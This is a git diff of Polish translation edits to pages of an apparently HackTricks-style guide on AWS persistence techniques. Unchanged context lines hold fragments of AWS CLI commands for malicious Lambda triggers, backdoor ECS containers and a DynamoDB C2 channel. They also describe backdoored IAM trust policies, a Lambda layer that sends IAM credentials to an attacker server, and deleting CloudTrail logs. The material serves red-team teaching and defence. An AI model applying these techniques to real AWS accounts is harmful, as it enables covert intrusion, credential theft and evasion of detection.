diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-dynamodb-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-dynamodb-persistence.md
index 27bff7547..196d3cd74 100644
--- a/src/pentesting-cloud/aws-security/aws-persistence/aws-dynamodb-persistence.md
+++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-dynamodb-persistence.md
@@ -12,7 +12,7 @@ Aby uzyskać więcej informacji, przejdź do:
 
 ### Wyzwalacze DynamoDB z tylnym wejściem Lambda
 
-Korzystając z wyzwalaczy DynamoDB, atakujący może stworzyć **ukryte tylne wejście** poprzez powiązanie złośliwej funkcji Lambda z tabelą. Funkcja Lambda może być wywoływana, gdy element jest dodawany, modyfikowany lub usuwany, co pozwala atakującemu na wykonanie dowolnego kodu w ramach konta AWS.
+Korzystając z wyzwalaczy DynamoDB, atakujący może stworzyć **ukryte tylne wejście** poprzez powiązanie złośliwej funkcji Lambda z tabelą. Funkcja Lambda może być wyzwalana, gdy element jest dodawany, modyfikowany lub usuwany, co pozwala atakującemu na wykonanie dowolnego kodu w ramach konta AWS.
 ```bash
 # Create a malicious Lambda function
 aws lambda create-function \
@@ -34,11 +34,11 @@ aws lambda create-event-source-mapping \
 --event-source <STREAM_ARN> \
 --region <region>
 ```
-Aby utrzymać persistencję, atakujący może tworzyć lub modyfikować elementy w tabeli DynamoDB, co spowoduje uruchomienie złośliwej funkcji Lambda. Umożliwia to atakującemu wykonywanie kodu w ramach konta AWS bez bezpośredniej interakcji z funkcją Lambda.
+Aby utrzymać persistencję, atakujący może tworzyć lub modyfikować elementy w tabeli DynamoDB, co spowoduje wywołanie złośliwej funkcji Lambda. Umożliwia to atakującemu wykonywanie kodu w ramach konta AWS bez bezpośredniej interakcji z funkcją Lambda.
 
 ### DynamoDB jako kanał C2
 
-Atakujący może użyć tabeli DynamoDB jako **kanału dowodzenia i kontroli (C2)**, tworząc elementy zawierające polecenia i używając skompromitowanych instancji lub funkcji Lambda do pobierania i wykonywania tych poleceń.
+Atakujący może używać tabeli DynamoDB jako **kanału dowodzenia i kontroli (C2)**, tworząc elementy zawierające polecenia i używając skompromitowanych instancji lub funkcji Lambda do pobierania i wykonywania tych poleceń.
 ```bash
 # Create a DynamoDB table for C2
 aws dynamodb create-table \
diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-ec2-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-ec2-persistence.md
index 491b744ee..8f891974c 100644
--- a/src/pentesting-cloud/aws-security/aws-persistence/aws-ec2-persistence.md
+++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-ec2-persistence.md
@@ -10,9 +10,9 @@ Aby uzyskać więcej informacji, sprawdź:
 ../aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/
 {{#endref}}
 
-### Śledzenie połączeń grupy zabezpieczeń
+### Utrzymywanie połączenia grupy zabezpieczeń
 
-Jeśli obrońca odkryje, że **instancja EC2 została skompromitowana**, prawdopodobnie spróbuje **izolować** **sieć** maszyny. Może to zrobić za pomocą **Deny NACL** (ale NACL wpływają na cały podsieć) lub **zmieniając grupę zabezpieczeń**, aby nie zezwalać na **żaden rodzaj ruchu przychodzącego lub wychodzącego**.
+Jeśli obrońca odkryje, że **instancja EC2 została skompromitowana**, prawdopodobnie spróbuje **izolować** **sieć** maszyny. Może to zrobić za pomocą **Deny NACL** (ale NACL wpływają na całą podsieć) lub **zmieniając grupę zabezpieczeń**, aby nie zezwalać na **żaden rodzaj ruchu przychodzącego lub wychodzącego**.
 
 Jeśli atakujący miał **odwróconą powłokę pochodzącą z maszyny**, nawet jeśli SG zostanie zmodyfikowane, aby nie zezwalać na ruch przychodzący lub wychodzący, **połączenie nie zostanie zakończone z powodu** [**Śledzenia połączeń grupy zabezpieczeń**](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/security-group-connection-tracking.html)**.**
 
diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-ecr-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-ecr-persistence.md
index 00260f215..311bb3ba8 100644
--- a/src/pentesting-cloud/aws-security/aws-persistence/aws-ecr-persistence.md
+++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-ecr-persistence.md
@@ -12,7 +12,7 @@ Aby uzyskać więcej informacji, sprawdź:
 
 ### Ukryty obraz Docker z złośliwym kodem
 
-Napastnik mógłby **przesłać obraz Docker zawierający złośliwy kod** do repozytorium ECR i użyć go do utrzymania persistencji w docelowym koncie AWS. Napastnik mógłby następnie wdrożyć złośliwy obraz do różnych usług w ramach konta, takich jak Amazon ECS lub EKS, w sposób ukryty.
+Atakujący mógłby **przesłać obraz Docker zawierający złośliwy kod** do repozytorium ECR i użyć go do utrzymania persistencji w docelowym koncie AWS. Atakujący mógłby następnie wdrożyć złośliwy obraz do różnych usług w ramach konta, takich jak Amazon ECS lub EKS, w sposób ukryty.
 
 ### Polityka repozytorium
 
diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-ecs-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-ecs-persistence.md
index 99ab05dbe..31be46169 100644
--- a/src/pentesting-cloud/aws-security/aws-persistence/aws-ecs-persistence.md
+++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-ecs-persistence.md
@@ -15,7 +15,7 @@ Aby uzyskać więcej informacji, sprawdź:
 > [!NOTE]
 > TODO: Test
 
-Napastnik może utworzyć ukryte okresowe zadanie ECS, używając Amazon EventBridge do **zaplanowania wykonywania złośliwego zadania okresowo**. To zadanie może przeprowadzać rekonesans, eksfiltrację danych lub utrzymywać persistencję w koncie AWS.
+Napastnik może utworzyć ukryte okresowe zadanie ECS, używając Amazon EventBridge do **zaplanowania wykonywania złośliwego zadania okresowo**. To zadanie może przeprowadzać rozpoznanie, eksfiltrację danych lub utrzymywać persistencję w koncie AWS.
 ```bash
 # Create a malicious task definition
 aws ecs register-task-definition --family "malicious-task" --container-definitions '[
@@ -49,7 +49,7 @@ aws events put-targets --rule "malicious-ecs-task-rule" --targets '[
 > [!NOTE]
 > TODO: Test
 
-Atakujący może dodać **ukryty kontener backdoor** w istniejącej definicji zadania ECS, który działa obok legalnych kontenerów. Kontener backdoor może być używany do utrzymywania dostępu i wykonywania złośliwych działań.
+Napastnik może dodać **ukryty kontener backdoor** w istniejącej definicji zadania ECS, który działa obok legalnych kontenerów. Kontener backdoor może być używany do utrzymania dostępu i wykonywania złośliwych działań.
 ```bash
 # Update the existing task definition to include the backdoor container
 aws ecs register-task-definition --family "existing-task" --container-definitions '[
@@ -69,12 +69,12 @@ aws ecs register-task-definition --family "existing-task" --container-definition
 }
 ]'
 ```
-### Undocumented ECS Service
+### Niedokumentowana usługa ECS
 
 > [!NOTE]
 > TODO: Test
 
-Atakujący może stworzyć **undocumented ECS service**, który uruchamia złośliwe zadanie. Ustawiając pożądaną liczbę zadań na minimum i wyłączając logowanie, staje się trudniej administratorom zauważyć złośliwą usługę.
+Napastnik może stworzyć **niedokumentowaną usługę ECS**, która uruchamia złośliwe zadanie. Ustawiając pożądaną liczbę zadań na minimum i wyłączając logowanie, staje się trudniej dla administratorów zauważyć złośliwą usługę.
 ```bash
 # Create a malicious task definition
 aws ecs register-task-definition --family "malicious-task" --container-definitions '[
diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-efs-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-efs-persistence.md
index 2acc6be13..b326c0a30 100644
--- a/src/pentesting-cloud/aws-security/aws-persistence/aws-efs-persistence.md
+++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-efs-persistence.md
@@ -10,9 +10,9 @@ Aby uzyskać więcej informacji, sprawdź:
 ../aws-services/aws-efs-enum.md
 {{#endref}}
 
-### Modyfikacja polityki zasobów / grup zabezpieczeń
+### Modyfikacja polityki zasobów / grup bezpieczeństwa
 
-Modyfikując **politykę zasobów i/lub grupy zabezpieczeń**, możesz spróbować utrzymać dostęp do systemu plików.
+Modyfikując **politykę zasobów i/lub grupy bezpieczeństwa**, możesz spróbować utrzymać dostęp do systemu plików.
 
 ### Utwórz punkt dostępu
 
diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-elastic-beanstalk-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-elastic-beanstalk-persistence.md
index 66045aa49..b93cca2b9 100644
--- a/src/pentesting-cloud/aws-security/aws-persistence/aws-elastic-beanstalk-persistence.md
+++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-elastic-beanstalk-persistence.md
@@ -12,7 +12,7 @@ Aby uzyskać więcej informacji, sprawdź:
 
 ### Utrzymywanie dostępu w instancji
 
-Aby utrzymać dostęp w koncie AWS, można wprowadzić **mechanizm utrzymywania dostępu wewnątrz instancji** (zadanie cron, klucz ssh...), aby atakujący mógł uzyskać do niego dostęp i ukraść **poświadczenia roli IAM z usługi metadanych**.
+Aby utrzymać dostęp w koncie AWS, można wprowadzić **mechanizm utrzymywania dostępu w instancji** (zadanie cron, klucz ssh...), aby atakujący mógł uzyskać do niego dostęp i ukraść **poświadczenia roli IAM z usługi metadanych**.
 
 ### Tylnie drzwi w wersji
 
diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-iam-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-iam-persistence.md
index 7b5125804..18a72bb3b 100644
--- a/src/pentesting-cloud/aws-security/aws-persistence/aws-iam-persistence.md
+++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-iam-persistence.md
@@ -21,7 +21,7 @@ Aby uzyskać więcej informacji, przejdź do:
 
 ### Polityki zaufania ról backdoor
 
-Możesz dodać backdoor do polityki zaufania, aby móc ją przyjąć dla zewnętrznego zasobu kontrolowanego przez Ciebie (lub dla wszystkich):
+Możesz wprowadzić backdoor do polityki zaufania, aby móc ją przyjąć dla zewnętrznego zasobu kontrolowanego przez Ciebie (lub dla wszystkich):
 ```json
 {
 "Version": "2012-10-17",
@@ -36,12 +36,12 @@ Możesz dodać backdoor do polityki zaufania, aby móc ją przyjąć dla zewnęt
 ]
 }
 ```
-### Backdoor Policy Version
+### Wersja Polityki Backdoor
 
-Nadaj uprawnienia Administratora do polityki, która nie jest jej ostatnią wersją (ostatnia wersja powinna wyglądać na legitną), a następnie przypisz tę wersję polityki do kontrolowanego użytkownika/grupy.
+Nadaj uprawnienia Administratora polityce, która nie jest jej ostatnią wersją (ostatnia wersja powinna wyglądać na legitną), a następnie przypisz tę wersję polityki do kontrolowanego użytkownika/grupy.
 
-### Backdoor / Create Identity Provider
+### Backdoor / Utwórz Dostawcę Tożsamości
 
-Jeśli konto już ufa wspólnemu dostawcy tożsamości (takiemu jak Github), warunki zaufania mogą zostać zwiększone, aby atakujący mógł je wykorzystać.
+Jeśli konto już ufa powszechnemu dostawcy tożsamości (takiemu jak Github), warunki zaufania mogą być zwiększone, aby atakujący mógł je wykorzystać.
 
 {{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-lambda-persistence/README.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-lambda-persistence/README.md
index d51aeddf2..314cf0ec8 100644
--- a/src/pentesting-cloud/aws-security/aws-persistence/aws-lambda-persistence/README.md
+++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-lambda-persistence/README.md
@@ -1,4 +1,4 @@
-# AWS - Lambda Persistence
+# AWS - Utrzymywanie w Lambda
 
 {{#include ../../../../banners/hacktricks-training.md}}
 
@@ -10,15 +10,15 @@ Aby uzyskać więcej informacji, sprawdź:
 ../../aws-services/aws-lambda-enum.md
 {{#endref}}
 
-### Lambda Layer Persistence
+### Utrzymywanie warstwy Lambda
 
-Możliwe jest **wprowadzenie/tylnych drzwi do warstwy, aby wykonać dowolny kod** podczas wykonywania lambdy w sposób ukryty:
+Możliwe jest **wprowadzenie/tylnych drzwi do warstwy w celu wykonania dowolnego kodu** podczas wykonywania lambdy w sposób ukryty:
 
 {{#ref}}
 aws-lambda-layers-persistence.md
 {{#endref}}
 
-### Lambda Extension Persistence
+### Utrzymywanie rozszerzenia Lambda
 
 Wykorzystując warstwy Lambda, możliwe jest również nadużywanie rozszerzeń i utrzymywanie się w lambdzie, a także kradzież i modyfikacja żądań.
 
@@ -26,21 +26,21 @@ Wykorzystując warstwy Lambda, możliwe jest również nadużywanie rozszerzeń
 aws-abusing-lambda-extensions.md
 {{#endref}}
 
-### Via resource policies
+### Poprzez polityki zasobów
 
 Możliwe jest przyznanie dostępu do różnych akcji lambdy (takich jak wywołanie lub aktualizacja kodu) zewnętrznym kontom:
 
 <figure><img src="../../../../images/image (255).png" alt=""><figcaption></figcaption></figure>
 
-### Versions, Aliases & Weights
+### Wersje, aliasy i wagi
 
 Lambda może mieć **różne wersje** (z różnym kodem w każdej wersji).\
-Następnie możesz utworzyć **różne aliasy z różnymi wersjami** lambdy i ustawić różne wagi dla każdej z nich.\
-W ten sposób atakujący mógłby stworzyć **wersję 1 z tylnymi drzwiami** i **wersję 2 tylko z legalnym kodem** i **wykonywać wersję 1 w 1%** żądań, aby pozostać w ukryciu.
+Następnie możesz utworzyć **różne aliasy z różnymi wersjami** lambdy i ustawić różne wagi dla każdej.\
+W ten sposób atakujący mógłby stworzyć **wersję 1 z tylnymi drzwiami** i **wersję 2 z tylko legalnym kodem** i **wykonywać wersję 1 w 1%** żądań, aby pozostać w ukryciu.
 
 <figure><img src="../../../../images/image (120).png" alt=""><figcaption></figcaption></figure>
 
-### Version Backdoor + API Gateway
+### Tylnie drzwi wersji + API Gateway
 
 1. Skopiuj oryginalny kod Lambdy
 2. **Utwórz nową wersję z tylnymi drzwiami** oryginalnego kodu (lub tylko z złośliwym kodem). Opublikuj i **wdroż tę wersję** do $LATEST
@@ -49,16 +49,16 @@ W ten sposób atakujący mógłby stworzyć **wersję 1 z tylnymi drzwiami** i *
 1. To ukryje kod z tylnymi drzwiami w poprzedniej wersji
 4. Przejdź do API Gateway i **utwórz nową metodę POST** (lub wybierz inną metodę), która wykona wersję lambdy z tylnymi drzwiami: `arn:aws:lambda:us-east-1:<acc_id>:function:<func_name>:1`
 1. Zauważ końcowe :1 w arn **wskazujące wersję funkcji** (wersja 1 będzie wersją z tylnymi drzwiami w tym scenariuszu).
-5. Wybierz utworzoną metodę POST i w Akcjach wybierz **`Deploy API`**
-6. Teraz, gdy **wywołasz funkcję za pomocą POST, twoje Tylne Drzwi** zostaną wywołane
+5. Wybierz utworzoną metodę POST i w Akcjach wybierz **`Wdróż API`**
+6. Teraz, gdy **wywołasz funkcję za pomocą POST, twoje tylne drzwi** zostaną wywołane
 
-### Cron/Event actuator
+### Aktywator Cron/Wydarzeń
 
-Fakt, że możesz sprawić, aby **funkcje lambda działały, gdy coś się wydarzy lub gdy upłynie czas**, sprawia, że lambda jest miłym i powszechnym sposobem na uzyskanie trwałości i unikanie wykrycia.\
+Fakt, że możesz **uruchamiać funkcje lambda, gdy coś się wydarzy lub gdy upłynie czas**, sprawia, że lambda jest miłym i powszechnym sposobem na uzyskanie utrzymania i unikanie wykrycia.\
 Oto kilka pomysłów, aby uczynić swoją **obecność w AWS bardziej ukrytą, tworząc lambdy**.
 
 - Za każdym razem, gdy tworzony jest nowy użytkownik, lambda generuje nowy klucz użytkownika i wysyła go do atakującego.
 - Za każdym razem, gdy tworzona jest nowa rola, lambda przyznaje uprawnienia do przyjęcia roli skompromitowanym użytkownikom.
-- Za każdym razem, gdy generowane są nowe logi cloudtrail, usuń/zmień je
+- Za każdym razem, gdy generowane są nowe logi cloudtrail, usuń/zmodyfikuj je
 
 {{#include ../../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-lambda-persistence/aws-abusing-lambda-extensions.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-lambda-persistence/aws-abusing-lambda-extensions.md
index b53895013..d9896b473 100644
--- a/src/pentesting-cloud/aws-security/aws-persistence/aws-lambda-persistence/aws-abusing-lambda-extensions.md
+++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-lambda-persistence/aws-abusing-lambda-extensions.md
@@ -1,32 +1,32 @@
-# AWS - Wykorzystywanie rozszerzeń Lambda
+# AWS - Wykorzystywanie Rozszerzeń Lambda
 
 {{#include ../../../../banners/hacktricks-training.md}}
 
 ## Rozszerzenia Lambda
 
-Rozszerzenia Lambda wzbogacają funkcje, integrując się z różnymi **narzędziami do monitorowania, obserwowalności, bezpieczeństwa i zarządzania**. Te rozszerzenia, dodawane za pomocą [.zip archiwów przy użyciu warstw Lambda](https://docs.aws.amazon.com/lambda/latest/dg/configuration-layers.html) lub włączane w [wdrożeniach obrazów kontenerów](https://aws.amazon.com/blogs/compute/working-with-lambda-layers-and-extensions-in-container-images/), działają w dwóch trybach: **wewnętrznym** i **zewnętrznym**.
+Rozszerzenia Lambda wzbogacają funkcje poprzez integrację z różnymi **narzędziami do monitorowania, obserwowalności, bezpieczeństwa i zarządzania**. Te rozszerzenia, dodawane za pomocą [.zip archiwów przy użyciu warstw Lambda](https://docs.aws.amazon.com/lambda/latest/dg/configuration-layers.html) lub włączane w [wdrożeniach obrazów kontenerów](https://aws.amazon.com/blogs/compute/working-with-lambda-layers-and-extensions-in-container-images/), działają w dwóch trybach: **wewnętrznym** i **zewnętrznym**.
 
 - **Wewnętrzne rozszerzenia** łączą się z procesem uruchomieniowym, manipulując jego uruchomieniem za pomocą **zmiennych środowiskowych specyficznych dla języka** i **skryptów opakowujących**. Ta personalizacja dotyczy różnych środowisk uruchomieniowych, w tym **Java Correto 8 i 11, Node.js 10 i 12 oraz .NET Core 3.1**.
-- **Zewnętrzne rozszerzenia** działają jako oddzielne procesy, utrzymując zgodność operacyjną z cyklem życia funkcji Lambda. Są kompatybilne z różnymi środowiskami uruchomieniowymi, takimi jak **Node.js 10 i 12, Python 3.7 i 3.8, Ruby 2.5 i 2.7, Java Corretto 8 i 11, .NET Core 3.1** oraz **niestandardowymi środowiskami uruchomieniowymi**.
+- **Zewnętrzne rozszerzenia** działają jako oddzielne procesy, utrzymując zgodność z cyklem życia funkcji Lambda. Są kompatybilne z różnymi środowiskami uruchomieniowymi, takimi jak **Node.js 10 i 12, Python 3.7 i 3.8, Ruby 2.5 i 2.7, Java Corretto 8 i 11, .NET Core 3.1** oraz **niestandardowymi środowiskami uruchomieniowymi**.
 
 Aby uzyskać więcej informacji o [**tym, jak działają rozszerzenia lambda, sprawdź dokumentację**](https://docs.aws.amazon.com/lambda/latest/dg/runtimes-extensions-api.html).
 
-### Zewnętrzne rozszerzenie do utrzymywania, kradzieży żądań i modyfikacji żądań
+### Zewnętrzne Rozszerzenie do Utrzymywania, Kradzieży Żądań i Modyfikacji Żądań
 
 To jest podsumowanie techniki zaproponowanej w tym poście: [https://www.clearvector.com/blog/lambda-spy/](https://www.clearvector.com/blog/lambda-spy/)
 
-Stwierdzono, że domyślny kernel Linux w środowisku uruchomieniowym Lambda jest skompilowany z wywołaniami systemowymi “**process_vm_readv**” i “**process_vm_writev**”. A wszystkie procesy działają z tym samym identyfikatorem użytkownika, nawet nowy proces utworzony dla zewnętrznego rozszerzenia. **Oznacza to, że zewnętrzne rozszerzenie ma pełny dostęp do odczytu i zapisu pamięci sterty Rapid, zgodnie z założeniem.**
+Stwierdzono, że domyślny kernel Linux w środowisku uruchomieniowym Lambda jest skompilowany z wywołaniami systemowymi “**process_vm_readv**” i “**process_vm_writev**”. A wszystkie procesy działają z tym samym identyfikatorem użytkownika, nawet nowy proces utworzony dla zewnętrznego rozszerzenia. **Oznacza to, że zewnętrzne rozszerzenie ma pełny dostęp do pamięci sterty Rapid, zgodnie z projektem.**
 
 Ponadto, podczas gdy rozszerzenia Lambda mają możliwość **subskrybowania zdarzeń wywołania**, AWS nie ujawnia surowych danych tym rozszerzeniom. Zapewnia to, że **rozszerzenia nie mogą uzyskać dostępu do wrażliwych informacji** przesyłanych za pośrednictwem żądania HTTP.
 
-Proces Init (Rapid) monitoruje wszystkie żądania API pod adresem [http://127.0.0.1:9001](http://127.0.0.1:9001/), podczas gdy rozszerzenia Lambda są inicjowane i uruchamiane przed wykonaniem jakiegokolwiek kodu uruchomieniowego, ale po Rapid.
+Proces Init (Rapid) monitoruje wszystkie żądania API pod adresem [http://127.0.0.1:9001](http://127.0.0.1:9001/) podczas gdy rozszerzenia Lambda są inicjowane i uruchamiane przed wykonaniem jakiegokolwiek kodu uruchomieniowego, ale po Rapid.
 
 <figure><img src="../../../../images/image (254).png" alt=""><figcaption><p><a href="https://www.clearvector.com/blog/content/images/size/w1000/2022/11/2022110801.rapid.default.png">https://www.clearvector.com/blog/content/images/size/w1000/2022/11/2022110801.rapid.default.png</a></p></figcaption></figure>
 
 Zmienna **`AWS_LAMBDA_RUNTIME_API`** wskazuje **adres IP** i **numer portu** API Rapid dla **procesów uruchomieniowych podrzędnych** i dodatkowych rozszerzeń.
 
 > [!WARNING]
-> Zmieniając zmienną środowiskową **`AWS_LAMBDA_RUNTIME_API`** na **`port`**, do którego mamy dostęp, możliwe jest przechwycenie wszystkich działań w ramach uruchomienia Lambda (**man-in-the-middle**). Jest to możliwe, ponieważ rozszerzenie działa z tymi samymi uprawnieniami co Rapid Init, a kernel systemu pozwala na **modyfikację pamięci procesów**, co umożliwia zmianę numeru portu.
+> Zmieniając zmienną środowiskową **`AWS_LAMBDA_RUNTIME_API`** na **`port`**, do którego mamy dostęp, możliwe jest przechwycenie wszystkich działań w ramach uruchomienia Lambda (**man-in-the-middle**). Jest to możliwe, ponieważ rozszerzenie działa z tymi samymi uprawnieniami co Rapid Init, a kernel systemu pozwala na **modyfikację pamięci procesów**, umożliwiając zmianę numeru portu.
 
 Ponieważ **rozszerzenia działają przed jakimkolwiek kodem uruchomieniowym**, modyfikacja zmiennej środowiskowej wpłynie na proces uruchomieniowy (np. Python, Java, Node, Ruby) w momencie jego uruchomienia. Ponadto, **rozszerzenia załadowane po** naszym, które polegają na tej zmiennej, również będą kierować przez nasze rozszerzenie. Ta konfiguracja może umożliwić złośliwemu oprogramowaniu całkowite ominięcie środków bezpieczeństwa lub rozszerzeń rejestrujących bezpośrednio w środowisku uruchomieniowym.
 
diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-lambda-persistence/aws-lambda-layers-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-lambda-persistence/aws-lambda-layers-persistence.md
index 3abc33a6a..36c894f5a 100644
--- a/src/pentesting-cloud/aws-security/aws-persistence/aws-lambda-persistence/aws-lambda-layers-persistence.md
+++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-lambda-persistence/aws-lambda-layers-persistence.md
@@ -1,32 +1,32 @@
-# AWS - Lambda Layers Persistence
+# AWS - Utrzymywanie warstw Lambda
 
 {{#include ../../../../banners/hacktricks-training.md}}
 
-## Lambda Layers
+## Warstwy Lambda
 
 Warstwa Lambda to archiwum .zip, które **może zawierać dodatkowy kod** lub inne treści. Warstwa może zawierać biblioteki, [niestandardowy runtime](https://docs.aws.amazon.com/lambda/latest/dg/runtimes-custom.html), dane lub pliki konfiguracyjne.
 
-Możliwe jest dołączenie do **pięciu warstw na funkcję**. Gdy dołączasz warstwę do funkcji, **zawartość jest wypakowywana do katalogu `/opt`** w środowisku wykonawczym.
+Możliwe jest dołączenie do **pięciu warstw na funkcję**. Gdy dołączasz warstwę do funkcji, **zawartość jest wyodrębniana do katalogu `/opt`** w środowisku wykonawczym.
 
-Z **domyślnie**, **warstwy**, które tworzysz, są **prywatne** dla twojego konta AWS. Możesz zdecydować się na **udostępnienie** warstwy innym kontom lub **uczynić** warstwę **publiczną**. Jeśli twoje funkcje korzystają z warstwy opublikowanej przez inne konto, twoje funkcje mogą **nadal używać wersji warstwy po jej usunięciu lub po cofnięciu twojego dostępu do warstwy**. Jednak nie możesz utworzyć nowej funkcji ani zaktualizować funkcji korzystających z usuniętej wersji warstwy.
+Z **domyślnie**, **warstwy**, które tworzysz, są **prywatne** dla twojego konta AWS. Możesz zdecydować się na **udostępnienie** warstwy innym kontom lub **uczynić** warstwę **publiczną**. Jeśli twoje funkcje korzystają z warstwy opublikowanej przez inne konto, twoje funkcje mogą **nadal korzystać z wersji warstwy po jej usunięciu lub po cofnięciu twojego dostępu do warstwy**. Jednak nie możesz utworzyć nowej funkcji ani zaktualizować funkcji korzystających z usuniętej wersji warstwy.
 
 Funkcje wdrożone jako obraz kontenera nie używają warstw. Zamiast tego pakujesz swój preferowany runtime, biblioteki i inne zależności do obrazu kontenera podczas budowania obrazu.
 
-### Python load path
+### Ścieżka ładowania Pythona
 
-Ścieżka ładowania, którą Python będzie używał w lambda, jest następująca:
+Ścieżka ładowania, którą Python będzie używać w lambda, jest następująca:
 ```
 ['/var/task', '/opt/python/lib/python3.9/site-packages', '/opt/python', '/var/runtime', '/var/lang/lib/python39.zip', '/var/lang/lib/python3.9', '/var/lang/lib/python3.9/lib-dynload', '/var/lang/lib/python3.9/site-packages', '/opt/python/lib/python3.9/site-packages']
 ```
 Sprawdź, jak **drugie** i trzecie **pozycje** są zajmowane przez katalogi, w których **lambda layers** dekompresują swoje pliki: **`/opt/python/lib/python3.9/site-packages`** i **`/opt/python`**
 
 > [!CAUTION]
-> Jeśli atakujący zdołałby **wprowadzić backdoora** do używanej **warstwy lambda** lub **dodać jedną**, która będzie **wykonywać dowolny kod, gdy załadowana zostanie wspólna biblioteka**, będzie mógł wykonywać złośliwy kod przy każdym wywołaniu lambda.
+> Jeśli atakujący zdołałby **wprowadzić tylne drzwi** do używanej **warstwy lambda** lub **dodać jedną**, która będzie **wykonywać dowolny kod, gdy załadowana jest wspólna biblioteka**, będzie mógł wykonywać złośliwy kod przy każdym wywołaniu lambda.
 
 Dlatego wymagania są następujące:
 
 - **Sprawdź biblioteki**, które są **ładowane** przez kod ofiary
-- Utwórz **bibliotekę proxy z warstwami lambda**, która będzie **wykonywać niestandardowy kod** i **ładować oryginalną** bibliotekę.
+- Stwórz **bibliotekę proxy z warstwami lambda**, która będzie **wykonywać niestandardowy kod** i **ładować oryginalną** bibliotekę.
 
 ### Wstępnie załadowane biblioteki
 
@@ -44,13 +44,13 @@ return {
 'body': str(sys.modules.keys())
 }
 ```
-A oto **lista** (sprawdź, czy takie biblioteki jak `os` lub `json` są już dostępne)
+A oto **lista** (sprawdź, czy biblioteki takie jak `os` lub `json` są już tam)
 ```
 'sys', 'builtins', '_frozen_importlib', '_imp', '_thread', '_warnings', '_weakref', '_io', 'marshal', 'posix', '_frozen_importlib_external', 'time', 'zipimport', '_codecs', 'codecs', 'encodings.aliases', 'encodings', 'encodings.utf_8', '_signal', 'encodings.latin_1', '_abc', 'abc', 'io', '__main__', '_stat', 'stat', '_collections_abc', 'genericpath', 'posixpath', 'os.path', 'os', '_sitebuiltins', 'pwd', '_locale', '_bootlocale', 'site', 'types', 'enum', '_sre', 'sre_constants', 'sre_parse', 'sre_compile', '_heapq', 'heapq', 'itertools', 'keyword', '_operator', 'operator', 'reprlib', '_collections', 'collections', '_functools', 'functools', 'copyreg', 're', '_json', 'json.scanner', 'json.decoder', 'json.encoder', 'json', 'token', 'tokenize', 'linecache', 'traceback', 'warnings', '_weakrefset', 'weakref', 'collections.abc', '_string', 'string', 'threading', 'atexit', 'logging', 'awslambdaric', 'importlib._bootstrap', 'importlib._bootstrap_external', 'importlib', 'awslambdaric.lambda_context', 'http', 'email', 'email.errors', 'binascii', 'email.quoprimime', '_struct', 'struct', 'base64', 'email.base64mime', 'quopri', 'email.encoders', 'email.charset', 'email.header', 'math', '_bisect', 'bisect', '_random', '_sha512', 'random', '_socket', 'select', 'selectors', 'errno', 'array', 'socket', '_datetime', 'datetime', 'urllib', 'urllib.parse', 'locale', 'calendar', 'email._parseaddr', 'email.utils', 'email._policybase', 'email.feedparser', 'email.parser', 'uu', 'email._encoded_words', 'email.iterators', 'email.message', '_ssl', 'ssl', 'http.client', 'runtime_client', 'numbers', '_decimal', 'decimal', '__future__', 'simplejson.errors', 'simplejson.raw_json', 'simplejson.compat', 'simplejson._speedups', 'simplejson.scanner', 'simplejson.decoder', 'simplejson.encoder', 'simplejson', 'awslambdaric.lambda_runtime_exception', 'awslambdaric.lambda_runtime_marshaller', 'awslambdaric.lambda_runtime_client', 'awslambdaric.bootstrap', 'awslambdaric.__main__', 'lambda_function'
 ```
 I oto lista **bibliotek**, które **lambda zawiera zainstalowane domyślnie**: [https://gist.github.com/gene1wood/4a052f39490fae00e0c3](https://gist.github.com/gene1wood/4a052f39490fae00e0c3)
 
-### Backdooring warstwy Lambda
+### Backdooring Lambda Layer
 
 W tym przykładzie załóżmy, że kod docelowy importuje **`csv`**. Będziemy **wprowadzać backdoora do importu biblioteki `csv`**.
 
@@ -87,7 +87,7 @@ Następnie utwórz zip z tym kodem w ścieżce **`python/lib/python3.9/site-pack
 
 Możesz znaleźć ten kod w [**https://github.com/carlospolop/LambdaLayerBackdoor**](https://github.com/carlospolop/LambdaLayerBackdoor)
 
-Zintegrowany ładunek **wyśle dane uwierzytelniające IAM na serwer PIERWSZY RAZ, gdy zostanie wywołany lub PO zresetowaniu kontenera lambda** (zmiana kodu lub zimna lambda), ale **inne techniki** takie jak poniższe mogą być również zintegrowane:
+Zintegrowany payload **wyśle dane uwierzytelniające IAM na serwer PIERWSZY RAZ, gdy zostanie wywołany lub PO zresetowaniu kontenera lambda** (zmiana kodu lub zimna lambda), ale **inne techniki** takie jak poniższe mogą być również zintegrowane:
 
 {{#ref}}
 ../../aws-post-exploitation/aws-lambda-post-exploitation/aws-warm-lambda-persistence.md
@@ -95,12 +95,12 @@ Zintegrowany ładunek **wyśle dane uwierzytelniające IAM na serwer PIERWSZY RA
 
 ### Zewnętrzne warstwy
